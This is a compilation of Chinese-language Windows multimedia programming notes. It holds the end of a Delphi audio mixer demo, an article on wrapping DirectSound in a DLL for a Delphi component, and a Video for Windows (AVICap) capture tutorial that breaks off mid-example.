MixerGetLineControls(fMixerHandle,@MLC,

MIXER_GETLINECONTROLSF_ALL);

setlength(mcontrols[i][j+n],ml2.cControls);

For k:=0 to ml2.cControls-1 do

begin

if p.dwControlType=MIXERCONTROL_CONTROLTYPE_VOLUME

then line[i].add(p^.szName);

mcontrols[i][j+n][k]:=p;

mcontrols[i][j+n][0].Metrics.dwReserved[k+1]:=1;

inc(p);

end;//取得混音器线路的控制器

end;

end;

end;

procedure Fillstruct(control:Pmixercontrol;var

Cdetails:Tmixercontroldetails);

begin

cdetails.cbStruct:=sizeof(cdetails);

cdetails.dwControlID:=control.dwControlID ;

cdetails.cbDetails:=sizeof(integer);

cdetails.hwndOwner :=0;

end;

function getpeak(control:Pmixercontrol;var

peak:integer):boolean;

var

details:TMIXERCONTROLDETAILSSIGNED;

cdetails:TMIXERCONTROLDETAILS;

begin

result:=false;

if control.dwControlType <>

MIXERCONTROL_CONTROLTYPE_PEAKMETER then exit;

cdetails.cChannels :=1;

cdetails.paDetails:=@details;

fillstruct(control,cdetails);

result:=MIXERGETCONTROLDETAILS(fmixerhandle,

@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

peak:=abs(details.LValue) div 180;

end;

function setvolume(control:Pmixercontrol;

volume:Tvolume):boolean;

var

details:array [0..30] of Integer;

cdetails:TMIXERCONTROLDETAILS;

begin

fillstruct(control,cdetails);

cdetails.cChannels :=2;

cdetails.paDetails:=@details;

details[0]:=volume.left;

details[1]:=volume.right;

result:=MIXERSETCONTROLDETAILS(fmixerhandle,

@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

end;

function getvolume(control:Pmixercontrol;var

volume:Tvolume):boolean;

var

details:array [0..30] of Integer;

cdetails:TMIXERCONTROLDETAILS;

begin

fillstruct(control,cdetails);

cdetails.cChannels :=2;

cdetails.paDetails:=@details;

result:=MIXERGETCONTROLDETAILS(fmixerhandle,

@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

volume.left:=details[0];

volume.right:=details[1];

end;

function setmute(control:Pmixercontrol;

mute:integer):boolean;

var

cdetails:Tmixercontroldetails;

details:array [0..30] of Integer;

begin

fillstruct(control,cdetails);

cdetails.cChannels :=1;

cdetails.paDetails:=@details;

details[0]:=mute;

result:=MIXERSETCONTROLDETAILS(fmixerhandle,

@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

end;

function getmute(control:Pmixercontrol;var

mute:integer):boolean;

var

cdetails:Tmixercontroldetails;

details:array [0..30] of Integer;

begin

fillstruct(control,cdetails);

cdetails.cChannels :=1;

cdetails.cMultipleItems:=0;

cdetails.paDetails:=@details;

result:=MIXERGETCONTROLDETAILS(fmixerhandle,

@cdetails,MIXER_GETCONTROLDETAILSF_VALUE)=0;

mute:=details[0];

end;

procedure TForm2.LinesChange(Sender: TObject);

begin

controls.Items:=line[lines.ItemIndex];

if controls.ItemIndex =-1 then

controls.ItemIndex :=0;

end;

procedure TForm2.ControlsChange(Sender: TObject);

var

mute,k,j:integer;

volume:Tvolume;

begin

lmute.Visible :=false;

lmeter.Visible :=false;

k:=lines.ItemIndex;j:=controls.ItemIndex;

IF mcontrols[k][j][0].Metrics.dwReserved[2]=1 then

begin

lmute.Visible:=mcontrols[k][j][1].dwcontroltype

=MIXERCONTROL_CONTROLTYPE_MUTE;

lmeter.Visible:=mcontrols[k][j][1].dwcontroltype

=MIXERCONTROL_CONTROLTYPE_PEAKMETER;

if lmeter.Visible then peaknum:=1;

end;

cmute.Enabled :=lmute.Visible ;

IF mcontrols[k][j][0].Metrics.dwReserved[3]=1 then

begin

lmeter.Visible:=mcontrols[k][j][2].dwcontroltype

=MIXERCONTROL_CONTROLTYPE_PEAKMETER;

if lmeter.Visible then peaknum:=2;

end;

if getvolume(mcontrols[k][j][0],volume) then

begin

Rvolume.Position :=-volume.right;

Lvolume.Position :=-volume.left;

end;

if getmute(mcontrols[k][j][1],mute) then

cmute.Checked :=mute=1;

RProgressbar.Visible :=lmeter.Visible;;

timer1.Enabled:=lmeter.Visible;

end;

procedure TForm2.LVolumeChange(Sender: TObject);

var volume:tvolume;

begin

if checkbox1.Checked then Rvolume.Position :=Lvolume.Position ;

volume.right :=-Rvolume.Position;

volume.left:=-Lvolume.Position ;

setvolume(mcontrolS[lines.itemindex][controls.itemindex][0],

volume);

end;

procedure TForm2.cmuteClick(Sender: TObject);

var mute:integer;

begin

if cmute.checked then mute:=1 else mute:=0;

setmute(mcontrolS[lines.itemindex][controls.itemindex][1],mute);

end;

procedure TForm2.RvolumeChange(Sender: TObject);

begin

if checkbox1.Checked then Lvolume.Position :=Rvolume.Position ;

Lvolume.OnChange (sender);

end;

procedure TForm2.AboutClick(Sender: TObject);

begin

showmessage('Mixer Demo version 1.0 '+chr(13)

+'Written by David Jiang');

end;

procedure TForm2.BExitClick(Sender: TObject);

begin

close;

end;

procedure TForm2.Timer1Timer(Sender: TObject);

var peak:integer;

begin

IF mcontrols[lines.itemindex][controls.itemindex]

[0].Metrics.dwReserved[peaknum+1]=1 then

if getpeak(mcontrols[lines.itemindex][controls.itemindex]

[peaknum],peak) then

Rprogressbar.Position :=peak;

end;

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);

begin

mixerclose(fmixerhandle);

end;

end.


用Direct Sound 实现混音器组件

Direct X是微软公司提供给游戏编写人员的一套应用程序编程接口(APIs)，它为编写高效、实时的应用程序提供了有力的支持。因此，有必要将这个接口封装到Delphi的组件库中。Direct X SDK是面向Visual C/C++和Watcom C/C++的，因而使用Object Pascal直接存取Direct X SDK，将带来诸多不便。但我们可先在VC下将Direct X接口封装成动态链接库，然后在Delphi下通过该动态链接库去存取Direct X。

    本文介绍用Delphi封装Direct Sound的方法，这种方法同样也可以应用到Direct Draw（但建议不要使用独占模式，否则会带来不少问题）。

    先简单介绍一下Direct Sound的接口界面。Direct Sound的基本对象有两个，即IDirectDraw和IDirectDrawBuffer。前者代表声卡，后者代表声音数据缓冲区。

    IDirectDraw是整个Direct Sound的基础，其建立方法如下：

    LPDIRECTSOUND lpDS;

    HRESULT ErrorCode;

    HWND hwnd=Mainhwnd;//窗口句柄

    ErrorCode=DirectSoundCreate(NULL, &lpDS, NULL); //建立对象

    if(ErrorCode!=DS_OK)return FALSE; //失败则返回

     ErrorCode=lpDS->SetCooperativeLevel(hwnd, DSSCL_NORMAL);//设置存取模式

    if(ErrorCode!=DS_OK) //失败则返回

    {

     lpDS->Release();

     lpDS=NULL;

     return FALSE;

    }

    IDirectDrawBuffer通过IDirectDraw建立。IDirectDrawBuffer有两种基本类型，一种被称作“基本缓冲区”(Primary Buffer)， 另一种被称作“辅助缓冲区”(Secondary Buffer)。 基本缓冲区是Direct Sound 混音的基础，一般不直接存取这个缓冲区(虽然也可以)，但可以通过该缓冲区去存取初始化声卡，方法如下：

    HRESULT ErrorCode;

    LPDIRECTSOUND lpDS=lpMainDS;//Direct Sound对象

    LPDIRECTSOUNDBUFFER lpDBP;

    DSBUFFERDESC dsbds;

    ZeroMemory(&dsbds,sizeof(dsbds));

    dsbds.dwSize=sizeof(dsbds);

    dsbds.dwFlags=DSBCAPS_PRIMARYBUFFER;

    ErrorCode=lpDS->CreateSoundBuffer(&dsbds,&lpDBP,NULL);//建立基本缓冲区

    if(ErrorCode!=DS_OK)return FALSE;//失败则返回

     ErrorCode=lpDBP->Play(0,0,DSBPLAY_LOOPING);//初始化

    if(ErrorCode!=DS_OK)//失败则返回

    {

     lpDBP->Release();

     lpDBP=NULL;

     lpDS->Release();

     lpDS=NULL;

     return FALSE;

    }

    lpDBP->Release();//释放基本缓冲区

    return TRUE; //初始化成功

    辅助缓冲区可以建立任意多个，声音数据就放在这种缓冲区内，每个缓冲区可被独立播放(IDirectSoundBuffer::Play)，Direct Sound会处理这些声音并实现混音的效果。其建立方法与基本缓冲区的差不多，只是对DSBUFFERDESC的填写有些不一样：

    ZeroMemory(&dsbufferdesc,sizeof(dsbufferdesc));

    dsbufferdesc.dwSize=sizeof(dsbufferdesc);

    dsbufferdesc.dwFlags=DSBCAPS_STATIC|DSBCAPS_CTRLDEFAULT;

    dsbufferdesc.dwBufferBytes=BufferSize;//缓冲区大小

    dsbufferdesc.lpwfxFormat=(LPWAVEFORMATEX)&pcmformat;//wav文件的PCM格式

    ErrorCode=lpDS->CreateSoundBuffer(&dsbd,&lpSB,NULL);

    建立该缓冲区后，通过IDirectSoundBuffer::Lock锁定内存即可写入数据。数据可以用普通MCI的多媒体函数读取，由于篇幅所限，这里不再详述，读者可以参考Win32 SDK手册和Direct X SDK的联机帮助。值得注意的是，Direct Sound的缓冲区是循环的，Lock返回两个指针，数据必须分成两部分写入。

    数据进入DirectSoundBuffer后，就可以调用IDirectSoundBuffer的声音控制方法来控制声音的播放、停止、频率、声道等特性。但要注意的是：因为Win95是多任务的，设备有可能被别的程序占用，所以IDirectSoundBuffer的功能调用可能会引发DSERR_BUFFERLOST错误。此时，如果要确保你的请求一定会得到响应，则必须调用IDirectSoundBuffer::Restore以重新获得设备。

    掌握了这些基本概念后，就可以在C++中编写Direct Sound的控制程序了，但Delphi无法直接存取上面提及的数据结构。为了解决这个问题，我们可以定义一个数组，分别代表不同的辅助缓冲区，Dephi通过该数组的索引来使用多个缓冲区。因此，我们的DLL中至少包括以下的接口函数：

    CreateDSoundInterface(HWND hwnd)//初始化

    LoadWave(int index, char *filename)//装入wav数据

    Play(int Index) //播放

    Stop(int Index)//停止

    Clear(int Index)//释放缓冲区

    当然，还可以加入其它控制，例如对频率、声道等的控制。

    有了动态链接库后，在Delphi中编写混音器组件的方法就比较简单了，与其它组件基本上没什么区别。

    首先，新建一个组件(New Component)，设定其祖先类型为TComponent。然后，编写相应的方法初始化设备，实现DLL中提供的功能。这里只作两点说明：

    1、不要在继承的Create函数中加载DLL和初始化设备。不在构造方法中初始化设备是明智的做法，因为这样做较安全。

    2、因为DLL是用C编写的，所以接口函数说明必须是C的调用标准，例如可以像下面这个样子：

    Var

     DllFunction :

    function(Parametre : ParaType) : RusultType; cdecl;

    ......

    LibraryHandle=LoadLibrary('DllFile.dll');

    ......

    @DllFunction:=GetProcAddress(LibHandle,'DllFunction_Name');

    组件单元编好以后，可通过选择Component|Install Component菜单来将组件装入Delphi的组件库即可使用它。


视频捕获

目 录

一. 视频捕获快速入门 2

二.基本的捕获设置 3

１．设置捕获速度： 3

２．设置终止捕获 4

３．捕获的时间限制 4

三.关于捕获窗口 4

１.创建一个AVICAP捕获窗口 5

２．将一个捕获窗口连接至捕获设备 5

３． 父窗口与子窗口的交互 5

４．捕获窗口的状态 6

四.视频捕获驱动和音频驱动 6

１．视频捕获驱动的性能: 6

２．视频对话框: 6

３．PREVIEW 和 OVERLAY模式: 7

４．视频格式 7

５．视频捕获设置 7

６．声频格式 8

五．使用视频捕获 8

1.创建捕获窗口(CREATING A CAPTURE WINDOW) 8

2.连接到捕获驱动(CONNECTING TO A CAPTURE DRIVER) 9

3.列举所有已安装的捕获驱动(ENUMERATING INSTALLED CAPTURE DRIVERS) 9

4.得到捕获驱动的性能(OBTAINING THE CAPABILITIES OF A CAPTURE DRIVER) 9

5.得到捕获窗口的状态(OBTAINING THE STATUS OF A CAPTURE WINDOW) 10

6.显示对话框设置视频特征(DISPLAYING DIALOG BOXES TO SET VIDEO CHARACTERISTICS) 10

7.得到和设置视频格式(OBTAINING AND SETTING THE VIDEO FORMAT) 11

8. 预览视频(PREVIEWING VIDEO) 12

9.将视频设置为OVERLAY模式(ENABLING VIDEO OVERLAY) 12

10.命名捕获文件(NAMING THE CAPTURE FILE) 12

11.格式化声频捕获(FORMATTING AUDIO CAPTURE) 12

12.改变视频捕获设置(CHANGING A VIDEO CAPTURE SETTING) 13

13.捕获数据(CAPTURING DATA) 13

14.增加一个信息块(ADDING AN INFORMATION CHUNK) 14

15.在程序中加入一个回调函数(ADDING CALLBACK FUNCTIONS TO AN APPLICATION) 14

16.创建一个状态回调函数(CREATING A STATUS CALLBACK FUNCTION) 16

17.创建一个错误回调函数( CREATING AN ERROR CALLBACK FUNCTION) 17

18.创建一个框架回调函数(CREATING A FRAME CALLBACK FUNCTION) 18

六．将四个标准对话框改成函数调用形式 18

AUDIOFORMAT对话框 19

VIDEOFORMAT对话框 19

VIDEOSOURCE对话框 20

VIDEO COMPRESSION对话框 20

前 言

视频捕获是指由专用的视频采集卡捕获声频和视频信息，然后将其进行数据化处理，再经过软件的压缩进行处理，这时就可对这些数据进行保存、回放、传输等各种操作。

Windows专门提供了Video for Windows来对视频处理进行支持，提供的接口可以被大多数的视频采集卡支持，并有多种视频压缩驱动供选择（当然视频压缩可以自己开发），采集卡支持摄像头，ＴＶ等多种输入。

一. 视频捕获快速入门

视频捕捉将一个视频流和音频流数字化, 然后存储在硬盘或其他存储介质上.

一个AVICap视窗口句柄描述了声频与视频流的细节, 这样就使你的应用程序从AVI文件格式, 声频视频缓冲管理, 低层声频视频驱动访问等等解脱出来, AVICap为应用程序提供了一个灵活的介面, 你可以仅仅使用如下几行代码就可以将视频捕捉加入你的程序:

hWndC = capCreateCaptureWindow ( "My Own Capture Window",

WS_CHILD | WS_VISIBLE , 0, 0, 160, 120, hwndParent, nID);

SendMessage (hWndC, WM_CAP_DRIVER_CONNECT, 0 /* wIndex */, 0L);

SendMessage (hWndC, WM_CAP_SEQUENCE, 0, 0L);

一个宏其实也是使用SendMessage, 只不过提供给程序一个更易读的代码而已, 下面的这些示例就是使用宏的方法将视频捕捉加入程序:

hWndC = capCreateCaptureWindow ( "My Own Capture Window",

WS_CHILD | WS_VISIBLE , 0, 0, 160, 120, hwndParent, nID);

capDriverConnect (hWndC, 0);

capCaptureSequence (hWndC);

当你创建了一个AVICap类的捕捉窗口并将它连接到一个视频驱动时, 此捕捉窗口即可以开始捕捉数据, 你的程序可以简单的发送WM_CAP_SEQUENCE消息(或者使用capCaptureSequence宏)来开始捕捉.

如果是缺省的设置, WM_CAP_SEQUENCE会开始捕捉视频音频流到CAPTURE.AVI文件中, 直到下面的某一事件发生为止:

用户按下了ESC键或者一个鼠标键

你的应用程序终止或异常中断捕捉操作

磁盘已满

在一个应用程序里, 你可以发送WM_CAP_STOP消息来终止捕捉数据(或者使用capCaptureStop宏), 你也可以发送WM_CAP_ABORT消息(或者使用capCaptureAbort宏)来终止.

二.基本的捕获设置

基本的捕获设置包括：设置捕获速度（每秒捕获多少帧），是否同时捕获声频，捕获缓冲，允许最大丢失多少帧，是否使用ＤＯＳ内存，以及用键盘的哪个键或鼠标的哪个键来终止捕获等等。这些基本的设置都可以使用ＣＡＰＴＵＲＥＰＡＲＡＭＳ结构来描述，你可以使用capCaptureGetSetup宏来得到当前的设置，然后改变此结构的成员变量，再使用capCaptureSetSetup宏设置新的设置。

例如：

１．设置捕获速度：

捕捉速度是指捕捉任务每秒钟捕获的帧数, 你可以发送WM_CAP_GET_SEQUENCE_SETUP消息(或者使用capCaptureGetSetup宏)来得到当前的捕捉速度, 当前的捕捉速度保存在CAPTUREPARAMS结构的dwRequestMicroSecPerFrame成员变量中, 你可以通过设置此变量来改变当前设置, 单位是每毫秒连续的帧数, 你可以发送WM_CAP_SET_SEQUENCE_SETUP消息(或者使用capCaptureSetSetup宏), dwRequestMicroSecPerFrame的值是66667, 相当于每秒15帧.

２．设置终止捕获

你可以允许用户按下某键或某组合键或者鼠标的左右键来终止一个捕获任务, 如果是实时的捕获, 则捕获的文件将会被丢弃; 如果是单步捕获, 在终止之前所捕获的内容将会被保存.

你可以通过发送WM_CAP_GETQUENCE_SETUP消息(或者使用capCaptureGetSetup宏)来得到当前的设置, 当前的按键设置保存在CAPTUREPARAMS的vKeyAbort成员中, 当前的鼠标设置保存在fAbortLeftMouse和fAbortRightMouse成员中. 你可以设置新的按键或按键组合, 或者鼠标左右键, 当你修改的CAPTUREPARAMS后,应该发送WM_CAP_SET_SEQUENCE_SETUP消息来进行更新(或者使用capCaptureSetSetup宏). 缺省的按键是VK_ESCAPE. 你必须在指定按键之前使用RegisterHotKey函数, 鼠标缺省的值是fAbortLeftMouse和fAbortRightMouse都为TRUE.

３．捕获的时间限制

CAPTUREPARAMS结构中的fLimitEnabled指示是否有时间限度, wTimeLimit指示最大的持续时间, 单位为秒.

得到fLimitEnabled和wTimeLimit的值可以发送WM_CAP_GET_SEQUENCE_SETUP消息(或使用capCatureGetSetup宏), 当设置了这些成员变量后, 应该发送消息WM_CAP_SET_SEQUENCE_SETUP消息(或capCaptureSetSetup宏)来更新CAPTUREPARAMS结构.

三.关于捕获窗口

在捕获之前必须创建一个捕获窗口（capture window），在发送消息或使用宏的过程中都需要使用此窗口。

１.创建一个AVICap捕获窗口

你可以使用capCreateCaptureWindow函数来创建一个AVICap捕获窗口, 此函数将会返回一个句柄, 此句柄以后在发送消息时要用.

你可以在一个程序里创建一个或多个捕获窗口, 然后给每一个窗口连接不同的捕获设置.

２．将一个捕获窗口连接至捕获设备

你可以动态的在一个捕获窗口与一个捕获设备之前连接或断接, 你可以发送WM_CAP_DRIVER_CONNECT消息来使一个捕获窗口与一个捕获设备连接或关联. 当连接上以后, 你就可以通过捕获窗口向捕获设备发送各种消息.

如果你的系统里装有多个捕获设备, 你可以在发送WM_CAP_DRIVER_CONNECT消息时用wParam参数指定使用哪一个, 此参数是登记在SYSTEM.INI文件的[drivers]一节里的列表中的某一项, 0为第一个.

你可以使用capGetDriverDescription函数来得到已安装的捕获设备的名称及版本, 这样你的程序就可以列举所有已安装的捕获设备和驱动, 这样用户就可以选择其中的一个来与你的捕获窗口连接.

你可以发送WM_CAP_DRIVER_GET_NAME消息(或capDriverGetName宏)来得到连接到捕获窗口的捕获设备的名称, 得到版本发送WM_CAP_DRIVER_GET_VERSION消息(或capDriverGetVersion宏)

你可以发送WM_CAP_DRIVER_DISCONNECT消息(或capDriverDisconnect宏)来断接.

３． 父窗口与子窗口的交互

一些象WM_PALETTECHANGED和WM_QUERYNEWPALETTE的系统级消息只能发送到顶级窗口或OVERLAPPED窗口, 如果一个捕获窗口是子窗口,就必须通过父窗口转送.

同样的, 如果父窗口的尺寸改变了, 它就需要通知捕获窗口, 相反地, 如果捕获窗口的尺寸改变了, 捕获窗口就需要发送消息给父窗口, 一个简单的方法就是始终保持捕获窗口的尺寸与视频流的尺寸一致, 并随时将尺寸的改变通知父窗口.

４．捕获窗口的状态

你可以发送WM_CAP_GET_STATUS消息(或capGetStatus宏)来得到当前捕获窗口的状态, 得到的是一个CAPSTATUS结构的拷贝, 它包含图片的尺寸, 卷轴的当前位置, overlay和preview是否已设置.

因为CAPSTATUS信息是动态的, 你的程序应该只要捕获的视频流的尺寸或格式可能发生了改变就应该进行刷新(例如: 显示了捕获设备的视频格式以后).

改变捕获窗口的尺寸并不影响实际的捕获的视频流的尺寸, 视频捕获设备的格式对话框捕获频流的尺寸.

四.视频捕获驱动和音频驱动

１．视频捕获驱动的性能:

你可以通过发送WM_CAP_DRIVER_GET_CAPS消息(或者capDriverGetCaps宏)来得到当前连接的视频驱动的硬件性能. 得到的信息保存在CAPDRIVERCAPS结构中.

２．视频对话框:

每一个视频驱动能够提供四个对话框来控制视频捕获和数字化处理, 定义压缩品质等, 这些对话框都定义在视频捕获驱动中.

Video Source对话框用于控制选择视频来源, 此对话框列举了此视频捕获卡连接的所有视频源(典型的例如:SVHS和合成输入), 并提供了改变色调, 对比度, 饱和度. 如果视频驱动支持此对话框, 你就可以显示并更新它, 使用WM_CAP_DLG_VIDEOSOURCE消息(或capDlgVideoSource宏).

Video Format对话框定义视频帧的尺寸以及精度, 视频捕获卡的压缩设置. 如果卡支持的话, 可以发送消息WM_CAP_DLG_VIDEOFORMAT消息或(capDlgVideoFormat宏).

Video Display对话框控制在视频捕获期间在显示器上的显示, 此控制不会影响视频数字数据, 但是他们可能会影响数字信号的表现形式, 例如: 如果捕获设备支持overlay, 可能允许改变色调和饱和度, 关键色彩 或者overlay队列. 如果卡支持, 你可以发送WM_CAP_DLG_VIDEODISPLAY消息(或者使用capDlgVideoDisplay宏).

Video Compression对话框控制压缩品质, 如果卡支持, 发送消息WM_CAP_DLG_VIDEOCOMPRESSION(或capDlgVideoCompression宏).

３．Preview 和 Overlay模式:

一个视频捕获驱动对进入的视频流有两种工作模式: Preview模式和overlay模式, 如果一个捕获驱动能够执行两种方法, 用户可以在其中选择一种.

Preview模式把从捕获硬件传来的数据送入系统内存并使用图形设备介面(GDI)将数字化帧显示在捕获窗口内. 应用程序可以在父窗口失去焦点时减缓显示速度, 当重新又得到焦点后加快显示速度, 此种模式要占用大量CPU时间.

有三种消息控制Preview操作:

WM_CAP_SET_PREIVEW消息(capPreview宏)允许或禁止preview模式

WM_CAP_SET_PREVIEWRATE(capPreviewRate宏)当帧在preview模式显示时设置速度.

WM_CAP_SET_SCALE(capPreviewScale宏)允许或禁止preview视频的缩放比例.

当preview和scaling同时使用, 捕获的视频帧将会根据捕获窗口的尺寸自动缩放, 允许preview模式会自动关闭overlay模式.

overlay模式是一个硬件函数它将数据送入捕获缓冲区中因而不占用CPU资源. 你可以发送消息WM_CAP_SET_OVERLAY(或capOverlay宏)给捕获窗口来启用或终止overlay模式, 允许overlay模式会自动禁止preview模式.

你同时也可以在preview模式或overlay模式里发送WM_CAP_SET_SCROLL消息(或capSetScrollPos宏)来设置视频帧的客户区卷轴位置.

４．视频格式

你可以通过发送WM_CAP_GET_VIDEOFORMAT消息(或capGetVideoFormat和capGetVideoFormatSize宏)来得到视频格式的结构或结构的尺寸. 你可以通过发送CAP_SET_VIDEOFORMAT消息(或capSetVideoFormat宏)来设置视频格式.

５．视频捕获设置

CAPTUREPARMS结构包含了对视频捕获流的控制参数, 你可以完成以下这些任务:

指定帧数

指定分配多少视频缓冲

允许或禁止声频捕获

指定捕获的时间间隔

指定在捕获的过程中是否使用MCI设置(VCR或者videodisc)

指定终止流的键盘或鼠标

specify the type of video averaging applied during capture.

得到:WM_CAP_GET_SEQUENCE_SETUP消息(或capCaptureGetSetup宏)

设置:WM_CAP_SET_SEQUENCE_SETUP消息(或capCaptureSetSetup宏)

６．声频格式

你可以通过发送WM＿CAP＿GET＿AUDIOFORMAT消息（或capGetAudioFormat宏和capGetAudioFormatSize宏）来得到当前捕获音频数据的格式或尺寸格式。缺省的声频格式是：单声道、8位、11kHz PCM。 当你使用WM＿CAP＿GET＿AUDIOFORMAT时，总是使用WAVEFORMATEX结构。

设置发送消息WM＿CAP＿SET＿AUDIOFORMAT消息（或capSetAudioFormat宏），可以传送WAVEFORMAT，WAVEFORMATEX，PCMWAVEFORMAT结构指针。

五．使用视频捕获

1.创建捕获窗口(Creating a Capture Window)

hWndC = capCreateCaptureWindow (

(LPSTR) "My Capture Window", // window name if pop-up

WS_CHILD | WS_VISIBLE, // window style

0, 0, 160, 120, // window position and dimensions

(HWND) hwndParent,

(int) nID /* child ID */);

2.连接到捕获驱动(Connecting to a Capture Driver)

下面的例子是将MSVIDEO驱动连接到句柄为hWndC的捕获窗口, 然后调用capDriverDisconnect宏来断接.

fOK = SendMessage (hWndC, WM_CAP_DRIVER_CONNECT, 0, 0L);

//

// Or, use the macro to connect to the MSVIDEO driver:

// fOK = capDriverConnect(hWndC, 0);

//

// Place code to set up and capture video here.

//

capDriverDisconnect (hWndC);

3.列举所有已安装的捕获驱动(Enumerating Installed Capture Drivers)

下面的例子使用capGetDriverDescription函数得到已安装的捕获驱动的名称及版本:

char szDeviceName[80];

char szDeviceVersion[80];

for (wIndex = 0; wIndex < 10; wIndex++)

{

if (capGetDriverDescription (wIndex, szDeviceName,

sizeof (szDeviceName), szDeviceVersion,

sizeof (szDeviceVersion))

{

// Append name to list of installed capture drivers

// and then let the user select a driver to use.

}

}

4.得到捕获驱动的性能(Obtaining the Capabilities of a Capture Driver)

发送WM_CAP_DRIVER_GET_CAPS消息可以得到捕获驱动的性能,并保存入一个CAPDRIVERCAPS结构.每当程序连接一个新的捕获驱动到一个捕获窗口时, 就应该更新CAPDRIVERCAPS结构. 下面的程序举例说明了如何使用capDriverGetCaps宏来得到捕获驱动的性能:

CAPDRIVERCAPS CapDrvCaps;

SendMessage (hWndC, WM_CAP_DRIVER_GET_CAPS,

sizeof (CAPDRIVERCAPS), (LONG) (LPVOID) &CapDrvCaps);

// Or, use the macro to retrieve the driver capabilities.

// capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));

5.得到捕获窗口的状态(Obtaining the Status of a Capture Window)

下面的例子使用SetWindowPos函数使捕获窗口与进来的视频流尺寸保持一致, 视频流的基本信息是使用capGetStatus宏得到的, 保存在CAPSTATUS结构中.

CAPSTATUS CapStatus;

capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));

SetWindowPos(hWndC, NULL, 0, 0, CapStatus.uiImageWidth,

CapStatus.uiImageHeight, SWP_NOZORDER | SWP_NOMOVE);

6.显示对话框设置视频特征(Displaying Dialog Boxes to Set Video Characteristics)

每个视频捕获卡一般能提供三个不同的对话框用于控制视频捕获及数字化处理. 下面的例子说明如何显示这些对话框, 在显示这些对话框之前,使用了capDriverGetCaps宏来检查CAPDRIVERCAPS结构, 以检测该卡是否有显示这些对话框:

CAPDRIVERCAPS CapDrvCaps;

capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));

// Video source dialog box.

if (CapDriverCaps.fHasDlgVideoSource)

capDlgVideoSource(hWndC);

// Video format dialog box.

if (CapDriverCaps.fHasDlgVideoFormat)

{

capDlgVideoFormat(hWndC);

// Are there new image dimensions?

capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));

// If so, notify the parent of a size change.

}

// Video display dialog box.

if (CapDriverCaps.fHasDlgVideoDisplay)

capDlgVideoDisplay(hWndC);

7.得到和设置视频格式(Obtaining and Setting the Video Format)

BITMAPINFO结构的长度既适应于标准的也适应于压缩的数据格式, 所有程序必须总是询问此结构的尺寸以便在得到当前的视频格式之前分配内存. 下面的例子就是使用capGetVideoFormatSize宏来得到缓冲区尺寸并调用capGetVideoFormat宏来得到当前的视频格式.

LPBITMAPINFO lpbi;

DWORD dwSize;

dwSize = capGetVideoFormatSize(hWndC);

lpbi = GlobalAllocPtr (GHND, dwSize);

capGetVideoFormat(hWndC, lpbi, dwSize);

// Access the video format and then free the allocated memory.

程序可以使用capSetVideoFormat宏(或WM_CAP_SET_VIDEOFORMAT消息)发送一个BITMAPINFO头结构给捕获窗口, 因为视频格式是设备细节, 你的程序应该检查返回值以便确定此格式是否已被接受.

8. 预览视频(Previewing Video)

下面的例子使用capPreviewRate宏来设置每66毫秒显示一帧, 并使用capPreview宏将它放置在捕获窗口里.

capPreviewRate(hWndC, 66); // rate, in milliseconds

capPreview(hWndC, TRUE); // starts preview

// Preview

capPreview(hWnd, FALSE); // disables preview

9.将视频设置为overlay模式(Enabling Video Overlay)

下面的例子: capDriverGetCaps宏确定此捕获卡是否有overlay功能, 如果有就使用宏来设置它

CAPDRIVERCAPS CapDrvCaps;

capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));

if (CapDrvCaps.fHasOverlay)

capOverlay(hWndC, TRUE);

10.命名捕获文件(Naming the Capture File)

下面的例子: 使用capFileSetCaptureFile宏来指定预备文件名为:MYCAP.AVI, capFileAlloc宏预先指定它的大小为5M.

char szCaptureFile[] = "MYCAP.AVI";

capFileSetCaptureFile( hWndC, szCaptureFile);

capFileAlloc( hWndC, (1024L * 1024L * 5));

11.格式化声频捕获(Formatting Audio Capture)

下面的例子使用capSetAudioFormat来设置声频格式为:11kHz, PCM 8位, 立体声

WAVEFORMATEX wfex;

wfex.wFormatTag = WAVE_FORMAT_PCM;

wfex.nChannels = 2; // Use stereo

wfex.nSamplesPerSec = 11025;

wfex.nAvgBytesPerSec = 22050;

wfex.nBlockAlign = 2;

wfex.wBitsPerSample = 8;

wfex.cbSize = 0;

capSetAudioFormat(hWndC, &wfex, sizeof(WAVEFORMATEX));

12.改变视频捕获设置(Changing a Video Capture Setting)

下面的例子使用capCaptureGetSetup和capCaptureSetSetup宏得将捕获帧数从缺省的15帧改成每秒10帧.

CAPTUREPARMS CaptureParms;

float FramesPerSec = 10.0;

capCaptureGetSetup(hWndC, &CaptureParms, sizeof(CAPTUREPARMS));

CaptureParms.dwRequestMicroSecPerFrame = (DWORD) (1.0e6 /FramesPerSec);

capCaptureSetSetup(hWndC, &CaptureParms, sizeof (CAPTUREPARMS));

13.捕获数据(Capturing Data)

下面的例子使用capCaptureSequence宏来开始捕获视频并使用capFileSaveAs宏来将捕获的数据拷贝至NEWFILE.AVI文件中.

char szNewName[] = "NEWFILE.AVI";

// Set up the capture operation.

capCaptureSequence(hWndC);

// Capture.

capFileSaveAs(hWndC, szNewName);

14.增加一个信息块(Adding an Information Chunk)

如果你需要在你的程序捕获的声频和视频数据中加入你的其他信息, 你可以创建一个信息块并将它们插入捕获文件中, 信息块可以包含一些典型的信息, 例如:版权信息,视频来源, 外部定位信息等. 下面的例子使用capFileSetInfoChunk宏来插入一个信息块, 里面包含了一个SMPTE的时间代码.

// This example assumes the application controls

// the video source for preroll and postroll.

CAPINFOCHUNK cic;

// .

// .

// .

cic.fccInfoID = infotypeSMPTE_TIME;

cic.lpData = "00:20:30:12";

cic.cbData = strlen (cic.lpData) + 1;

capFileSetInfoChunk (hwndC, &cic);

15.在程序中加入一个回调函数(Adding Callback Functions to an Application)

一个程序可以为捕获窗口登记一个回调函数以便在以下的这些情况下通知程序.

状态改变

错误发生

视频框架和声频缓冲区变得可用

程序应用在捕获视频流的过程中接收

下面的例子创建一个捕获窗口并登记状态,错误,视频流和框架回调函数在消息处理对列中, 也包括了一个终止回调函数的说明.

case WM_CREATE:

{

char achDeviceName[80] ;

char achDeviceVersion[100] ;

char achBuffer[100] ;

